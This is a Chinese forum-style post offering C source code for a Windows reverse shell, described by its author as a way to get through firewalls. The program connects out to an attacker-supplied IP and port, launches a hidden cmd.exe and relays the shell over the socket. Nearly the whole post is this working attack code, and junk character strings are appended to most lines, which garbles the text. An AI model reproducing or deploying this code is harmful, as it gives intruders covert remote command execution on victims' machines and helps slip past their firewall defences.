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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .GIygU_  
CRu {Ie5B  
/* ============================== (= W u5H  
Rebound port in Windows NT =,Z5F`d4  
By wind,2006/7 H Em XB=  
===============================*/ Wcki=ac\v!  
#include Ys8D|HIk  
#include ;:'ABfs  
j9&x# U  
#pragma comment(lib,"wsock32.lib") @s|yH"  
0](V@F"~  
void OutputShell(); 3z -="_p  
SOCKET sClient; Xr{ r&Rl  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K9) |b`E=  
d)L,kzN  
void main(int argc,char **argv) bZu2.?{  
{ tkW7wP;  
WSADATA stWsaData; 9 !s)52qt  
int nRet; |l:,EA_v|  
SOCKADDR_IN stSaiClient,stSaiServer; fHXz{,?/w  
p%IVWeZnx  
if(argc != 3) 9b)'vr*Hy7  
{ yZ,S$tSR  
printf("Useage:\n\rRebound DestIP DestPort\n"); {VKP&{~O  
return; ksF4m_E>YB  
} ]~4*ak=)5\  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;I~ UQgE6H  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Cw h[R  
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stSaiClient.sin_family = AF_INET; SbH} cu8  
stSaiClient.sin_port = htons(0); p+16*f9,^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); BQ(sjJ$v6F  
M4E==  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) HjZf3VwI  
{ j<}y(~  
printf("Bind Socket Failed!\n"); 8?h&FbmB  
return; I36ClOG  
} #=#bv`  
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stSaiServer.sin_family = AF_INET; UD_8#DO{m1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); G4wJv^6i9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Wx8n)  
/`g~lww2O  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }U qL2KXi4  
{ =Q4Wr0y><]  
printf("Connect Error!"); f!J?n]  
return; 6<No_x |_  
} 5E}!TL$  
OutputShell(); 6yXN7L==x  
} U%KsD 4B  
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void OutputShell() |v:fP;zc  
{ `/9&o;qM   
char szBuff[1024]; 4v.i!U# {  
SECURITY_ATTRIBUTES stSecurityAttributes; +HoCG;C{  
OSVERSIONINFO stOsversionInfo; h&z(;B!;y.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;Ngu(es6  
STARTUPINFO stStartupInfo; j4$NQ]e^4  
char *szShell; q1Ehl S  
PROCESS_INFORMATION stProcessInformation; 9Rb tFwbn  
unsigned long lBytesRead; q5~"8]Dls  
@Op7OFY%  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Qk].^'\  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); o(g}eP,g }  
stSecurityAttributes.lpSecurityDescriptor = 0; D9\ EkX  
stSecurityAttributes.bInheritHandle = TRUE; 8jz7t:0  
/<CgSW}  
lLN5***47J  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [y(<1]i-a  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T)MZ`dM  
ab>>W!r@!  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LNF|mS\+D  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {emym$we  
stStartupInfo.wShowWindow = SW_HIDE; x, #?  
stStartupInfo.hStdInput = hReadPipe; iy [W:<c7j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qjf9ZD&  
gFr-P!3  
GetVersionEx(&stOsversionInfo); \6vr)1~N>  
%+L3Xk]m'  
switch(stOsversionInfo.dwPlatformId) `9Q O'^)  
{ ~Q+J1S]Fs  
case 1: D}nIF7r2N  
szShell = "command.com"; "(vm0@8><  
break; VIuzBmR|\  
default: vd0uI#g%#  
szShell = "cmd.exe"; .`/6[Zp  
break; -x+K#T0Z  
} MR.c?P?0Q  
f# sDG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b21@iW  
iV.j!H7o  
send(sClient,szMsg,77,0); 'J_6SD  
while(1) no7Q%O9  
{ [wM]w  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +%)bd  
if(lBytesRead) o| 9Mj71  
{ i=\`f& B  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d1u6*&@lf  
send(sClient,szBuff,lBytesRead,0); B=|m._OL]n  
} cR!Mn$m  
else =o_zsDv  
{ (gF{S* `  
lBytesRead=recv(sClient,szBuff,1024,0); %dq |)r  
if(lBytesRead<=0) break; *q0vp^?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T49^  
} 5`{u! QE  
} x k&# fW^r  
Rz=wInFs  
return; ilkN3J  
}
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